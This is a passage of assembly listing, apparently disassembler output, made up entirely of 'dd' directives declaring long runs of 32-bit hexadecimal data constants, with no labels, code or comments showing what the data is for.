		dd 850204A1h, 0C8DA969Bh, 1EA8643Eh, 24A8F6E4h,	94869F88h
		dd 840EA443h, 189874CEh, 0C6521CB4h, 3099B254h,	0A5014306h
		dd 8CE5D092h, 0BC537FFBh, 0D6712553h, 0EC9D7442h, 2C809891h
		dd 29B6B348h, 7ECA4F16h, 847B6E0Bh, 8200974Ch, 0B0490E42h
		dd 0D850F00Bh, 0EA78216Eh, 1E05529Dh, 880AA10h,	4010D675h
		dd 9D510D00h, 963667h, 0A1437C78h, 7208BED2h, 0A24120C0h
		dd 24BDCB7h, 6A6281E1h,	0C4A147D3h, 8061845Fh, 9B14C3C9h
		dd 62EE6AD9h, 3BB7615h,	4E1770F0h, 0CC043C88h, 0C2009562h
		dd 0DED35D45h, 400385Eh, 502B28C3h, 7D0A1918h, 2016E0A7h
		dd 0D2282958h, 7420A8F2h, 2353039h, 0DEE91A59h,	180B1034h
		dd 0DC77F080h, 86040E0Dh, 18B8C0F6h, 7D18DDCBh,	99B95E39h
		dd 0C23600D6h, 4617E792h, 3B1EB555h, 5A83E8DAh,	22CD822Ah
		dd 0A87960E8h, 9842605h, 0CC44F5EAh, 80915845h,	0E343ACE3h
		dd 6685F8AEh, 0F44BF5h,	0E888A3B0h, 10B26272h, 308E7A3Fh
		dd 26D2F165h, 0B22509ADh, 0A88EE2CAh, 67814A88h, 2D31CFCh
		dd 0BEB28A8h, 22E8DCB6h, 0C21FD4A3h, 180516E3h,	67CED8DAh
		dd 0E08AF802h, 378CD83Ah, 0B0C15138h, 79D00696h, 1FA8744Eh
		dd 692FF203h, 71000835h, 0A11B95A4h, 3F75872h, 8CA88655h
		dd 2101EAA2h, 0B1EEE81Dh, 0B44904CEh, 0AC72A431h, 343031F2h
		dd 804C9CEAh, 0BA1089FAh, 9000E2Dh, 7F9528CEh, 76564629h
		dd 0DC920730h, 0E27A032Ch, 0C07B2AA4h, 336069D0h, 362ECB2Ch
		dd 0CF029F2h, 21345F40h, 48F156CDh, 7512D818h, 1C02A514h
		dd 0D9C6192Ch, 18967170h, 0AFCE005Dh, 28BCC917h, 6D001A91h
		dd 7F1944EFh, 9C012CEDh, 0F8BE04B4h, 0B535097Bh, 8F4911DCh
		dd 0AEB1C0D0h, 543544B4h, 0B8D405h, 0A17837B6h,	0DB83621Bh
		dd 0C2EE49Bh, 0F974656h, 0E278F5BEh, 60C6F675h,	8041F030h
		dd 0C306C08h, 801EB8F2h, 0B95D0944h, 465C611h, 0E36094C4h
		dd 0ABFAC29Bh, 0C8D96C04h, 8C8061DEh, 1107688h,	0BCB60252h
		dd 26AE1DB3h, 3E780220h, 5C79D4B4h, 708B58A0h, 0A0F13E06h
		dd 916FEAh, 83D13B49h, 1CA88FA1h, 93DE5D00h, 685853EAh
		dd 0CFD70BC2h, 90908550h, 7240F230h, 0AED83ADBh, 64539869h
		dd 1222C70h, 81B1AF8h, 8C68EE18h, 0F10ED059h, 10C20015h
		dd 0C4ADFBF7h, 951B880Bh, 0C5080D5Ch, 104CB827h, 0D288A189h
		dd 3E0B7C18h, 4599D4B0h, 749780A0h, 0E9B2523Eh,	0D232F609h
		dd 117C8EFFh, 0B4E5AE13h, 0D900BF2Ch, 82DA8A15h, 14B076Fh
		dd 460CD8B5h, 808F5E0Fh, 82D61DD9h, 272788B7h, 4C97AC8Bh
		dd 85803A91h, 0EDB8B30Bh, 2ADD6200h, 0B1D9CBCCh, 0DC300C3Ch
		dd 6BC15F39h, 7A71DF76h, 0E2002898h, 312DFF61h,	0F4E69425h
		dd 388012A2h, 0C3EC8436h, 51AA8174h, 83EEE403h,	42E81229h
		dd 2E8C65D5h, 49123F8h,	935945F8h, 6B8CFC8h, 0D23D9AC2h
		dd 0D0B40EA7h, 0F780408Eh, 25327A07h, 0ECC8865Eh, 0F420F69Eh
		dd 0DECB1C27h, 7D586044h, 613D1024h, 0C804CB4Ah, 3218C03Eh
		dd 0F10033EEh, 0F806992Fh, 310C320h, 16FE2A6Ch,	78040834h
		dd 5EE10C4Dh, 0E7B01C93h, 149498Ch, 2C7C3A66h, 0C8E01056h
		dd 0B8035A71h, 355B4B89h, 0FC29010Eh, 0EC3472C1h, 9C84DC3Dh
		dd 47BF2807h, 41EDC22h,	688766EAh, 0E3DE6A01h, 80E5C9A5h
		dd 0D86062E4h, 0EF00A4FDh, 44077A08h, 7FFD46Bh,	2102BFDDh
		dd 0FAD14083h, 0F91652AFh, 0B4079032h, 4960FD7Ch, 1719661Ah
		dd 21BF815Eh, 5098EEA8h, 648ED584h, 6803504Fh, 83620DEh
		dd 6C68BE19h, 0F8C4DD01h, 5880986Eh, 9CBD3567h,	0DE178E62h
		dd 648E3DE0h, 4AC162C8h, 56E02961h, 0C3BE03E5h,	0AF4D9D1Fh
		dd 511AD80Fh, 5C66DF40h, 870A6540h, 95F01E54h, 6803907h
		dd 832C2A24h, 14016D93h, 0DA7C9DB6h, 0BC2CA58Bh, 23102E92h
		dd 767A0064h, 0BC2EEE33h, 16E6250Bh, 0B4602418h, 97E828BCh
		dd 8CD0008Ch, 1BCC226Fh, 149359Bh, 611C0B24h, 0E69C8077h
		dd 92889D30h, 8820E96Ch, 6714A0D2h, 0F6FE2636h,	0AD744024h
		dd 0D83BB783h, 525F8920h, 0BDC81044h, 0E54B02E3h, 0C1366B91h
		dd 0D57C8880h, 0DE2DF962h, 6E68A283h, 22D00053h, 2000FCD7h
		dd 0B842B21Bh, 0B81E86D4h, 0D338A0B8h, 0B81D9F4Ch, 46807591h
		dd 7F047B19h, 0E503277Dh, 86D214D0h, 3A605E16h,	962308h
		dd 0C649409Fh, 0F00322B5h, 0BE182829h, 1FD0166Bh, 0C3C204Dh
		dd 0D218303Ah, 6A711AD6h, 0A79094C5h, 0C3643C90h, 415939h
		dd 0FB6D157Bh, 1C10A1DBh, 92B832C2h, 0C40404AFh, 0E090A428h
		dd 70D3EBB0h, 0F8F7A0A2h, 0DBBF65C0h, 0DC635D8Ah, 0E40198BCh
		dd 0C4CA7CB6h, 0FC24FEC8h, 9FE70116h, 0CF758849h, 0B055D09Ch
		dd 0EDD09D1Eh, 604D0E0Fh, 300AA86Fh, 0C049603Eh, 33B8F857h
		dd 0C3EFA75h, 97B58732h, 319E623h, 0E021DBC8h, 40EBF8Ch
		dd 0A58A6CA4h, 0D5B08082h, 0B973CC5Eh, 0C656DC06h, 0C49A0C8h
		dd 9B81EC15h, 0CE2A4038h, 7424B403h, 4D1248D6h,	8A5E6005h
		dd 202FB889h, 320471A0h, 514DE707h, 8C91C70h, 64801070h
		dd 2B6A2605h, 0F05702F5h, 0ED75A32Eh, 3CDCA0D4h, 0B61684E3h
		dd 0D8445CB0h, 0A4B8215Bh, 630D4902h, 0D8C3DAEFh, 0D10091CAh
		dd 0AE1899h, 4CEC6684h,	5EBB7653h, 48DE222Ch, 48954B44h
		dd 63F208F2h, 27FBE30h,	2C056DD8h, 40C2E7A1h, 6A1DC410h
		dd 30A7A3F0h, 24605A64h, 701E9E0Eh, 14EC5B19h, 3805EC08h
		dd 847F8295h, 0AC89D200h
		dd 5E0CFC67h, 4B54CA58h, 4F8858CFh, 0A57280C0h,	48AD7DB8h
		dd 7BD452h, 393C025Ch, 42A12D5Dh, 0A9744C98h, 0FE754B03h
		dd 0D896493Ah, 384D8724h, 1D9E5D8Dh, 0C2877BC1h, 257E4145h
		dd 6184836Ch, 29A653A1h, 46E406DCh, 68299E74h, 0C182176h
		dd 2D4925A6h, 0EACBE8FBh, 3605ADE8h, 0DDB7DE8h,	31F2CCB2h
		dd 488BF430h, 3617AC58h, 0DD1C280Ch, 1DCD9744h,	0BEC0CCE4h
		dd 2AD2C382h, 0F496DBF7h, 0D3317F60h, 905A74DEh, 0EE7A0168h
		dd 5F04D7EAh, 0BF404036h, 2E00A557h, 78951FE5h,	1897F2CBh
		dd 0DEB1816Eh, 8015684h, 0CE7A7C0Bh, 603C0960h,	0EE2040h
		dd 0E9F1B90Fh, 6259C736h, 2E8D1E03h, 0C092461Dh, 4778F3h
		dd 0C83088FEh, 7963AA07h, 878AC925h, 589C420h, 2C8E0290h
		dd 0D6C04AC8h, 5BD05Ah,	4DC747B7h, 51D454E6h, 0F8508114h
		dd 18938Ch, 4F2CB6B0h, 0C460057Ah, 0BA4C2245h, 5358DCF3h
		dd 2ACC2CFDh, 0D9403D04h, 80DAD012h, 0BAF028F1h, 0A41D9D56h
		dd 3909C6BFh, 0E481324Bh, 55C1D7DAh, 0E300E6BCh, 0B970C7E7h
		dd 2830E0F4h, 48CA68Ah,	8B6D22Ah, 0ECCCB85Fh, 94008C95h
		dd 0C4BFC271h, 0B4913FEh, 6D81E719h, 50845880h,	0A47DE08Eh
		dd 1800AA5Fh, 0D4F8D9E8h, 0AD009E87h, 7F867440h, 0E08A94A0h
		dd 64C2965Bh, 51E49A57h, 183979ACh, 0F80F006Dh,	2BA0DA11h
		dd 8B0978DDh, 0A5483A57h, 0CDC1AE70h, 0AC79A673h, 0A0E0A6D6h
		dd 0C1FFC7h, 0A98173Dh,	4E7336AFh, 81F48B0Eh, 2F780002h
		dd 4BB18A59h, 23042F7Dh, 0FA8A0267h, 6943CCB7h,	0BDF91900h
		dd 4C057F4Ah, 2F710542h, 0C1E59619h, 24FC33F0h,	52092970h
		dd 0A24A60DEh, 0D858CE08h, 0D6D50C3Ch, 0FE1849E0h, 28741610h
		dd 0E1139C58h, 2E07E6Eh, 20B99388h, 8400E3ADh, 9E66742h
		dd 0D2E2D44Bh, 0D1290C91h, 3C29D6h, 0F189DB3Ah,	4BE144CFh
		dd 8EC48886h, 28406041h, 486988C4h, 0FC5694A8h,	730A2862h
		dd 467680D6h, 3ECD0248h, 61C46223h, 92E16B4h, 0B48203CCh
		dd 80D61D9Ah, 0D2AF04F4h, 0B5634CBEh, 7CF2BCh, 62DED026h
		dd 581850C2h, 2FDB7000h, 5F20C3C7h, 0C8E874D4h,	0C0D98BF2h
		dd 0A8234E39h, 253036A2h, 1E441D03h, 0BF81BF3Ah, 12E6FFD2h
		dd 0C6C040B7h, 8969AEC8h, 702C5B68h, 0EA014279h, 0E6F57E4Dh
		dd 90746CF6h, 5588019Eh, 0E42149DAh, 0F8426AC6h, 0A9D8BED3h
		dd 0AC600AA4h, 634674h,	695FDC65h, 38F9BF3Ch, 8614C422h
		dd 3918648Ah, 4CA7315Ch, 0F8663000h, 3E7C8914h,	0E5FB010Bh
		dd 0DE8F0773h, 457830BEh, 4DAB9027h, 0BAF9E014h, 6E7F29C7h
		dd 0E4939803h, 42D90CEh, 0D4DE75F0h, 11FE005Bh,	24188848h
		dd 9745456h, 18C4D047h,	971B3A12h, 15D2B480h, 0AE613C6Dh
		dd 7D40AF00h, 5BFD57Bh,	0B2FEC304h, 8BC75A3h, 0C8948B4Fh
		dd 0FAC9C037h, 2D0A102Fh, 0C479BD0Fh, 0E468E527h, 0F9546094h
		dd 5290141Ch, 2F4FA065h, 1C372304h, 64B002D3h, 484AA2E1h
		dd 2D343C49h, 4F0076F8h, 6397FAEAh, 0E3CC2Eh, 8241D47Fh
		dd 90F04505h, 88289498h, 249CBC33h, 25A465Eh, 0E50CADC9h
		dd 0DBF0A053h, 4B11D427h, 6C989DB2h, 8C95AC18h,	4FB6B000h
		dd 0F684F0C3h, 44524F80h, 45E08DCh, 0FCC7027Ah,	0F048B0EEh
		dd 91319C16h, 0D294E080h, 0E6E16300h, 978928Dh,	1C0F477Fh
		dd 3142E062h, 0A9D41887h, 0DA6ADC60h, 9EE95B63h, 48C4C373h
		dd 52253849h, 9D5EC89h,	0F8CC4225h, 0D46341ECh,	0CA0915A5h
		dd 509C442Ah, 2038506Ch, 488212A1h, 8BA0574Fh, 0C048C80Ch
		dd 82F3F127h, 2AD1AB0Bh, 0E4706562h, 34F66098h,	0FB3F00B5h
		dd 6A043919h, 12D6C44h,	0C4C403Eh, 0EC5F52E9h, 0C46E4A70h
		dd 9B008110h, 51BC60D7h, 52EC92Fh, 98B24D6Ch, 5D6E0A00h
		dd 77667CEEh, 0A8392C29h, 23554700h, 1FEF1867h,	40FECCC9h
		dd 0A999E31Ch, 26137EB5h, 4CA44583h, 1F77A85h, 0D3F55A39h
		dd 0F40DA8C9h, 0A25AB4DAh, 883A8012h, 11006123h, 6D12A90Ch
		dd 0DCC20FDFh, 0E4E1579Fh, 2C3808DEh, 332204h, 0D1B5F295h
		dd 107C2469h, 0CAF60103h, 0D0748F97h, 25614636h, 0D4C6A9B1h
		dd 3A01730Ah, 993F988Eh, 50197EE4h, 23CC2F7Eh, 0A4080062h
		dd 9C865E82h, 218DF91Dh, 38908B97h, 4BDC16E4h, 0F0A09D51h
		dd 0D4690EEh, 9FE49A5Fh, 0D2A95047h, 64EE7AF0h,	8B51D708h
		dd 0CE6588D4h, 29E4B2C0h, 4894CE61h, 39125C10h,	0D31CE076h
		dd 510C1F00h, 0B70DDCA8h, 0C36D0037h, 0CB613ED2h, 80CBC3Dh
		dd 38748218h, 0CAC0994h, 0B02359FEh, 33C045DBh,	0B543419h
		dd 0B2014FE0h, 9578C56h, 8EC49573h, 14B9EBh, 12E91FD4h
		dd 3F011AD2h, 0E02A4939h, 0C0745DE6h, 0A4E35146h, 8450DEA6h
		dd 37A30B6h, 9DD41986h,	1CAD0DC4h, 0CD951600h, 36671CC4h
		dd 15CCC3Ah, 5D7B24FCh,	4247244h, 4A2AFB47h, 8E074E8h
		dd 0AF1F0648h, 60E444D2h, 0AB8901FEh, 0CFE0E118h, 53436034h
		dd 0D20BB1F8h, 0A1627886h, 0DDCA2BB0h, 4AE0DBDCh, 8A240EA6h
		dd 5EF2C4h, 6A1D0DD3h, 0A84458EFh, 6B594075h, 48A01E50h
		dd 7D44CA0h, 0CA40108Bh, 0A6391561h, 18485898h,	0C6795E3Ch
		dd 2C0095BCh, 0DCF3E0CEh, 6A022C1Dh, 54318E1Ah,	4D39405Ch
		dd 0E57BF5C6h, 80708FF4h, 880A24Fh, 0FDC5E56h, 1ED8DA7Ah
		dd 0E54044D3h, 3BE495Ch, 404440h, 0FFDA7B11h, 3EE9B3D5h
		dd 732A43Bh, 37E20DA2h,	0C4884434h, 0C6F809C5h,	0F000FA53h
		dd 122C9036h, 25DA9738h, 48D8C202h, 25D675A0h, 20A574D8h
		dd 0F860ACA4h, 27008C65h, 0D3FCB78Ah, 14682B6h,	0C3D287CBh
		dd 0A90F2AEAh, 62D1A028h, 0CB126518h, 521D4821h, 795D25C9h
		dd 16240014h, 0C45C2960h, 409A7801h, 855E9671h,	321CFE08h
		dd 9DD0C41h, 0C0544D2Fh, 0BF8732A3h, 213A0E73h,	308A0B64h
		dd 7BB4C0D6h, 78B0BB1Ch, 7373C414h, 3ED74F07h, 3FE3F0B9h
		dd 2D480702h, 0AE0134DCh, 0F897B3A9h, 0FA836591h, 48A969C7h
		dd 0B4023B72h, 0D6A8BED2h, 0BE703F4h, 4BC3B674h, 0D8681009h
		dd 449C524Dh, 250B5104h, 83E6FDEEh, 0A962397Eh,	13BF0CEh
		dd 68B67D50h, 128C2276h, 8B90150h, 5F497FE8h, 485120C0h
		dd 0E6061F80h, 8C24B49h, 2C6CD374h, 97A61958h, 37915817h
		dd 88C50180h, 0F50CD2BFh, 8955D96Ah, 108A09A7h,	0B85E484Eh
		dd 64046549h, 0E3657263h, 0AB35AB75h, 0E4CC88BFh, 12CAFEE0h
		dd 0B24058DEh, 99E2348Ch, 92E084E6h, 8C0019B0h,	3ACF4677h
		dd 9267EA3Fh, 58C1007Ch, 2A3D609Ah, 0C42DB5B3h,	0E0448Bh
		dd 737A745h, 3D40F623h,	0D8EBE905h, 870004E1h, 0C4C3462Ch
		dd 0D9784B4Fh, 0AC783CE8h, 4EC8C4Fh, 0E8016402h, 564C98C6h
		dd 3800F42Ch, 2251E808h, 9826F8F2h, 918F5AF4h, 80434410h
		dd 0DE76A879h, 76D0D4D5h, 9D4B0032h, 0DF24E510h, 8D0BE9C1h
		dd 0E55F1C27h, 6074E42Ch, 1D73F93Ah, 89D0FD0Bh,	24049176h
		dd 0C844B8FBh, 4931084Eh, 67FCC125h, 3A388000h,	2305248h
		dd 45815F51h, 0F464745Dh, 0C2761A00h, 469F45B9h, 90895C5Fh
		dd 6CCE8481h, 91390206h, 87E4533Ch, 35B786F3h, 333E00D8h
		dd 81E0CCB1h, 7CEA5A00h, 7D24C5C3h, 0D1D14B6Ah,	240A356Ch
		dd 2B049938h, 4785E920h, 8E84C7C0h, 0C22C71F6h,	5C9DADA0h
		dd 3008C07Ch, 0E067127Ah, 0AE889A70h, 0C0480E10h, 88C2A343h
		dd 2C7C36E0h, 0CED15902h, 50B0877Ch, 6DF6C2h, 94EE0161h
		dd 3225ACB2h, 3A44C12Ah
		dd 0CF605040h, 0D08C0014h, 6456BA7Ah, 17E6B6D7h, 616A950Bh
		dd 650C9036h, 63DD00A0h, 2BF10A1h, 0B44EA71Ch, 9000B07Fh
		dd 0D17A3885h, 4C9E95FAh, 0E4D527BFh, 0B0C43828h, 0B124F958h
		dd 0CC242F78h, 0D8C117AEh, 95F547EEh, 0C8108B2Fh, 1F23C059h
		dd 0B25EE002h, 0D8578480h, 2358BE56h, 0DAFB586Ch, 726C70EDh
		dd 0A0486B6Eh, 6A2A8123h, 17DE5FE4h, 0A86F5Ch, 0CFD2A9A0h
		dd 108A3816h, 6616E18h,	6296E153h, 0BEEA2770h, 6404D009h
		dd 0F4188225h, 0FCAD0CFAh, 49D8A3C1h, 1015BDCCh, 292B1CBh
		dd 0E0168F1Fh, 1D170227h, 0FC01E872h, 66EC892Ch, 162ED363h
		dd 0B2A4B354h, 3A633090h, 0ADE2B890h, 941E88B8h, 79001AFCh
		dd 0CAC9725h, 426894E3h, 0EA2332CEh, 7B690069h,	8364D11Eh
		dd 0F300B7F2h, 8CC0E882h, 4C24DEE6h, 64F8CC2Fh,	0B27008Ch
		dd 853C1346h, 2A25E623h, 787C5BD4h, 0E00003ACh,	7D08EC6h
		dd 9035A437h, 926A04B8h, 0AE7AC8DAh, 102AA401h,	123E79CEh
		dd 5A94B234h, 1972805h,	0AAB848FDh, 0EDA410B5h,	0D01A04BBh
		dd 806E7426h, 0DD7C4224h, 0E50EBF01h, 0EAF8DA4Fh, 24623034h
		dd 0C1D08113h, 2BE709E6h, 0B680789Bh, 10DB8C17h, 93A0C1Fh
		dd 0ACF3D612h, 94B8144Ch, 0C263018Ch, 8ABA3C65h, 68693Ah
		dd 9BDBF69h, 4EFA26h, 0D096E7C0h, 2A83A4DFh, 0D60A3D00h
		dd 9795B934h, 26D371A5h, 278FF1Bh, 0C00FE8D4h, 3644C0E7h
		dd 40302761h, 0E08E43A8h, 618468BEh, 0B4A8B6E1h, 0D36A8D0Bh
		dd 5F4E185Ah, 44F3FC24h, 0EB0C9D0Bh, 1702A0DAh,	66CD318Dh
		dd 0E0A8EDDEh, 0CE53941Bh, 8604CC00h, 3888168Ch, 0F80295BEh
		dd 0B07441DAh, 38A4B26Fh, 0BDAB0275h, 0E60C74ADh, 0B0020CDAh
		dd 0EF6A78ACh, 0D158D14Fh, 0D71899h, 0E1BAC75Dh, 0D6943A82h
		dd 17ADD04h, 0ACFC65E6h, 80E8DF29h, 0F9FAECFFh,	5B002D33h
		dd 1803E175h, 7F75309h,	0FE2B3B1Fh, 0B8C8942Ch,	4A809148h
		dd 75008C6Eh, 0E17C44E8h, 70B96F22h, 0C127E821h, 515BF54h
		dd 0A03F3C9Dh, 3CA77334h, 2C603E64h, 0F4E4AA2Dh, 0C4BAD404h
		dd 18822051h, 0BEA42E57h, 2C44BF84h, 9E404DD2h,	4E41692Dh
		dd 51016CE4h, 606DE50Dh, 0DC20328Ah, 257EE892h,	4E4CA88h
		dd 7D81B300h, 0AA506C01h, 117C0532h, 0C38D0D35h, 0BCF3035Ah
		dd 0B4D504A7h, 327238D8h, 2812AD31h, 20A0BD85h,	79D53118h
		dd 0D24A6049h, 4D60705Eh, 0BEBB3D88h, 48465C30h, 0DACD8B01h
		dd 688C8554h, 51E8004h,	9EA0Ah,	0E2A1AB56h, 0F35B480h
		dd 0E16921C0h, 58E37Ch,	0BFEA6E5Bh, 6771948Ch, 0D15AB209h
		dd 7C142476h, 4B0270A3h, 4A68E00Ch, 4676207Ch, 58942649h
		dd 0D4094480h, 0BC4360BEh, 4B10AC68h, 695CA486h, 4E8B795h
		dd 0AC8E3273h, 1CA2D29Ch, 3B304FF2h, 1633025Dh,	3DDCF6E7h
		dd 4878A25Dh, 0A8710959h, 0E408C5ADh, 0B0C96058h, 0F6E60C51h
		dd 39483B14h, 0F8689B97h, 959C8E74h, 60160CE8h,	0AD280264h
		dd 20D4BCBDh, 8C4AB8h, 9A1282Ch, 8A93691Fh, 74621026h
		dd 0D8B78083h, 0F0AC8470h, 460AD20Fh, 7DAE0057h, 623B176Ah
		dd 79481A9Dh, 18587920h, 3F2C095Eh, 5049DE6Ah, 0E0406A35h
		dd 7E7C466Bh, 73C300D2h, 3BFC2F13h, 1D278F9Eh, 5B044607h
		dd 0C074DAC7h, 0C0974009h, 2666012Dh, 0B6E08A5Eh, 0F830747Eh
		dd 4080B44Bh, 62EEE82Ah, 6AC81964h, 37BF3850h, 8A440030h
		dd 0CF3879Bh, 9DFE40Bh,	0D1285B1Dh, 1769CC22h, 7B7A2404h
		dd 0AC81C10Dh, 0E30474C4h, 804604DCh, 8F25D3Fh,	0C19FBE0Eh
		dd 0BC90F800h, 0D901C91Ah, 187A12ECh, 74D6D716h, 74682C00h
		dd 0B41C3B46h, 0E7F447EDh, 0D02990EAh, 1B40C686h, 1F340FFCh
		dd 0A353EC83h, 0DEE40920h, 25D45190h, 23A1061h,	4B285E4Fh
		dd 0D87324FBh, 0BDF46C36h, 0B314FC10h, 0EDB5E203h, 0E8E60EECh
		dd 3D647B39h, 0D0824CF9h, 0B8B4A403h, 0A1E94F6h, 9D8046A5h
		dd 0A4C4BCCDh, 43AC20AFh, 0A839206Ah, 0EE89804Bh, 2C801F94h
		dd 6C139DD2h, 599C73C0h, 147CF026h, 288A815h, 14C3709Eh
		dd 886363B2h, 14842179h, 9822A0CEh, 0C4F57EA0h,	0B6192961h
		dd 28345B90h, 3B2020DEh, 842DCB76h, 92541164h, 3C827917h
		dd 0F8002BCCh, 4A40DCCBh, 0EA6046D6h, 0EC00D16Eh, 46B177A1h
		dd 8EB57Eh, 3A8AFF62h, 642021A9h, 4D712C7Eh, 2CE49Dh, 0CDA7873Bh
		dd 0BF7674BEh, 88E3C507h, 0EF604054h, 34EA9986h, 3AE133AEh
		dd 1E9323FCh, 34F8090Ch, 86C44CE8h, 0BCC1CC01h,	2FA0A87Eh
		dd 530B6436h, 38E028DEh, 8414E03Ah, 2DFCC1A1h, 889CC076h
		dd 9DB27918h, 24D06CBAh, 0D8197D67h, 76FF87A2h,	31467478h
		dd 64EAD10Ch, 550070E9h, 0A673FB95h, 9DCEE75Bh,	80436414h
		dd 64B8444Ch, 67F1008Ch, 0D1A80503h, 350736DAh,	0C4D5CCE7h
		dd 7A9A1202h, 0D20909A8h, 34D8BC86h, 0B41F742Eh, 782CFD00h
		dd 0B502E0C4h, 3BB8A48Dh, 4DC848CEh, 0D2F1B9C1h, 902E0A21h
		dd 1C3C4250h, 5F407D3Eh, 2618E8C8h, 80CC637Ah, 9743DC0Ch
		dd 0E8124281h, 7856F0DEh, 7730CB2h, 147B0930h, 4ACC80E5h
		dd 0A1023598h, 0D7238E20h, 0C0855D95h, 2EAE827Ch, 11F89F55h
		dd 8921CB59h, 82C5A64h,	83AE0153h, 0D49CA824h, 0A4025EB8h
		dd 554DBBDAh, 3900CCB7h, 5E90D140h, 0BC65549Dh,	0DEC9F4D3h
		dd 88781491h, 77C7600h,	0FC8E555Fh, 3C897A4Eh, 5CC6E2Eh
		dd 0C1999551h, 6A3414C0h, 0F881B79Eh, 0B4860Eh,	2D10C377h
		dd 14C09402h, 0D8526A8Dh, 0ECCE0CA4h, 60EAF817h, 8987B966h
		dd 7D00A65Fh, 420490A1h, 5E0CA339h, 9D4830EBh, 0B8804Ah
		dd 4A43A020h, 90989045h, 8D00D4C9h, 877EE19Eh, 36604FA6h
		dd 90CE518Fh, 0D6069A09h, 137E74C6h, 8E47AFAh, 8F65EAFFh
		dd 2EC02057h, 9B6668FEh, 97027A2Fh, 80599124h, 3880160Ah
		dd 1879F982h, 21C2861Dh, 91B01527h, 7CCC8290h, 80347E39h
		dd 2D3703B6h, 0FB004133h, 0CF61247Fh, 0EF6BA563h, 0A6807038h
		dd 0D627AEA1h, 18FC6700h, 81DACD66h, 0D77027ADh, 10005CE4h
		dd 764D42C0h, 3A5A9674h, 0AE0BA090h, 94626285h,	846AC87Ch
		dd 19A0FA1Fh, 0A846E7EAh, 0B5F04845h, 8CEECC00h, 7C07F3B0h
		dd 85425CDh, 7E30BC22h,	454403h, 0F353A431h, 1494043Eh
		dd 0FFB82000h, 0C8C6E7F1h, 0FAE32D4Bh, 3811689Dh, 0B787D980h
		dd 0DA009293h, 67AD2A37h, 1CCC19E6h, 0C11507FDh, 5EC1DC7Dh
		dd 408C2B8Bh, 0ADB52723h, 776B841h, 8D0A5A44h, 994674E0h
		dd 5385000h, 0AE168637h, 48B0A7EAh, 3E807851h, 34C844CEh
		dd 0E5003EC7h, 228AA9DCh, 0DB705180h, 0D09FAA28h, 22380216h
		dd 6EC87420h, 68FE586Fh, 0E8C37ECh, 0DA88D82Ch,	4B121212h
		dd 0C8E57A84h, 0C86049E4h, 0D2CFFA4h, 853B53E3h, 284CF0D9h
		dd 0C94E480h, 0DE489603h, 44E52901h, 3870F566h,	0C8109872h
		dd 3CF77D42h, 0DC917E2Ch, 0E40E6400h, 1C8B563Bh, 822990E7h
		dd 0C654A1D7h, 3D987760h, 0A2B23109h, 0D4B481ADh, 642518D6h
		dd 90BD3FD4h, 403000B0h, 2A24159h, 0E03C4296h, 11B45C7Ch
		dd 2861E6CBh, 2BE10F2Ch, 368170C7h, 3C70B9DDh, 0EA51402Eh
		dd 0AE8F889Eh, 0D0BA892Ah, 0D2B1003Ch, 2C08FCC2h, 9A014644h
		dd 0D961E50Ch, 23FEAD0h, 33726790h, 7800C059h, 0A4FC2C16h
		dd 23EC00D8h, 0B40F3E6Ch, 38054935h, 64DAFBD2h,	0C45A43C0h
		dd 57EA4A1Ch, 60B26Ch, 0DD58F80Dh, 0BC0F91Bh, 86C8C420h
		dd 7CE78CAFh
		dd 68C88915h, 58273D80h, 0A464A136h, 0B9E970ECh, 1DCA73D4h
		dd 13B05C0Ah, 72CA0DDh,	25180888h, 0F4E55222h, 6F40D19Fh
		dd 0A6808CFh, 53322238h, 24108343h, 0D588475h, 0D0DED501h
		dd 0ECD43B61h, 0CB4049FBh, 3A91945Eh, 0FEE1190Ah, 0C840141Ch
		dd 5073DE10h, 9D41BAA8h, 7464982Bh, 1DD3E540h, 1251C618h
		dd 0AC30BDFAh, 38008C61h, 3C2FEBFBh, 0A25EA19h,	35DAC281h
		dd 0E8DBA5C8h, 1C1D870h, 0E4B0F896h, 23F3CDEh, 0A85236h
		dd 96D0F01Fh, 14D5202Fh, 0DCDA3000h, 2AE9192Ch,	0D1C09941h
		dd 0C8183Eh, 528638Dh, 0A974CEF0h, 6CCC2FEFh, 4ADE7F4Dh
		dd 9340F25Fh, 48C84CCAh, 59291FC0h, 2E5C0B58h, 0D8EDF372h
		dd 0D2306FC0h, 232A0036h, 3A67BA09h, 0AE0D1903h, 501C138Eh
		dd 4F34DAC2h, 0E064B639h, 0FE68E6F8h, 8E2A04FBh, 432A4F6h
		dd 8CA28551h, 0B9738212h, 3852C1F4h, 9D2B4CC6h,	0B8E86DD4h
		dd 6407059Ch, 0AD3EF0DDh, 0C43F0EECh, 83C0D65h,	6CE8A4E3h
		dd 0E6751960h, 84B734F6h, 8CBDCB58h, 0DC812AC8h, 6872165Eh
		dd 79DBEC4Ch, 4BC9EE0h,	0A8E23888h, 0D0C50404h,	2A01AA76h
		dd 64614EE8h, 0DC042C58h, 2B4D7162h, 59A1D4B8h,	0EC502C4Ah
		dd 545E8C4Ch, 0A3BF0CDh, 92A04304h, 8DBCE246h, 0E4796133h
		dd 1101B1B8h, 7553B222h, 0D42FE0C4h, 92F40E28h,	0B3B01790h
		dd 5B044A6h, 9F5895EBh,	28A44ACCh, 0AE90467h, 0BA188ED4h
		dd 40ACF012h, 0FD447D13h, 56880044h, 0A4311285h, 43680171h
		dd 363C50D6h, 944CF9DFh, 108CCAAEh, 0A8480294h,	0B9528012h
		dd 0C0EDD350h, 2802BFB8h, 5E3FB0ADh, 8B78568Eh,	8E4D06Ah
		dd 77ECDE10h, 98F68C0Bh, 7B0B9858h, 0F2711886h,	8D230420h
		dd 859D37E6h, 0C4A1ED8h, 0AFE94144h, 0D6D7C400h, 42F4E878h
		dd 0DB2A0129h, 106306C6h, 31202162h, 20316A38h,	0E502993Eh
		dd 7A1D0C52h, 0AD096F5Ch, 0DB2820C4h, 127D8842h, 0C8739DB0h
		dd 8B002D60h, 1CAC4CE9h, 1EDB6591h, 0C4D56746h,	0A3D6EA86h
		dd 5C8C5A28h, 0F9D56F47h, 54936209h, 0B555BBD2h, 51478568h
		dd 838C012h, 0E425D676h, 0B0347AC6h, 0B0ABBF88h, 4EDCE05Eh
		dd 0D64CA102h, 24AED504h, 0E0B4C150h, 0CD350029h, 943DBF7Ch
		dd 807EC400h, 3FB0564h,	0D48B1968h, 2F2DA1Eh, 0C625A0F4h
		dd 56382A10h, 0CA7C1FA0h, 58D5CB4h, 0D8D14006h,	0B7883234h
		dd 0FC129716h, 543777h,	0D4D3BE9Bh, 462D58D6h, 9F8C80E8h
		dd 95AC01A8h, 0DA2274CCh, 8C5F2751h, 16E6B0A1h,	5986CB4h
